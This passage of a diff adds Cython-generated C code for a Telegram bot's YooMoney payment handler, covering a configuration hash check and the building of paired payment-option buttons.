__pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + int __pyx_t_2; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + Py_ssize_t __pyx_t_6; + PyObject *(*__pyx_t_7)(PyObject *); + Py_ssize_t __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_yoomoney", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L10_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + case 4: goto __pyx_L14_resume_from_await; + case 5: goto __pyx_L15_resume_from_await; + case 6: goto __pyx_L16_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 38, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":43 + * ): + * + * expected_hash = "HASHHASHYOOKASSA" # <<<<<<<<<<<<<< + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + */ + __Pyx_INCREF(__pyx_n_u_HASHHASHYOOKASSA); + __Pyx_GIVEREF(__pyx_n_u_HASHHASHYOOKASSA); + __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_HASHHASHYOOKASSA; + + /* "handlers/payments/yoomoney_pay.py":44 + * + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 44, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/yoomoney_pay.py":45 + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") # <<<<<<<<<<<<<< + * await callback_query.message.answer( + * text=" , @solonet_sup." + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_YOOKASSA_HASH_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":46 + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":47 + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + * text=" , @solonet_sup." # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 47, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":46 + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 46, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 46, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":49 + * text=" , @solonet_sup." + * ) + * return # <<<<<<<<<<<<<< + * + * tg_id = callback_query.message.chat.id + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yoomoney_pay.py":44 + * + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + */ + } + + /* "handlers/payments/yoomoney_pay.py":51 + * return + * + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":53 + * tg_id = callback_query.message.chat.id + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":55 + * builder = InlineKeyboardBuilder() + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0)) __PYX_ERR(0, 55, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_int_2)) __PYX_ERR(0, 55, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { + __pyx_t_1 = __pyx_t_3; __Pyx_INCREF(__pyx_t_1); + __pyx_t_6 = 0; + __pyx_t_7 = NULL; + } else { + __pyx_t_6 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 55, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + for (;;) { + if (likely(!__pyx_t_7)) { + if (likely(PyList_CheckExact(__pyx_t_1))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } + } else { + __pyx_t_3 = __pyx_t_7(__pyx_t_1); + if (unlikely(!__pyx_t_3)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 55, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":56 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_8 = PyObject_Length(__pyx_t_4); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = PyObject_RichCompare(__pyx_t_3, __pyx_t_4, Py_LT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/yoomoney_pay.py":57 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/yoomoney_pay.py":58 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/yoomoney_pay.py":59 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/yoomoney_pay.py":60 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/yoomoney_pay.py":58 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yoomoney_pay.py":62 + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/yoomoney_pay.py":63 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/yoomoney_pay.py":64 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/yoomoney_pay.py":62 + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_t_11, __pyx_t_14}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yoomoney_pay.py":56 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< 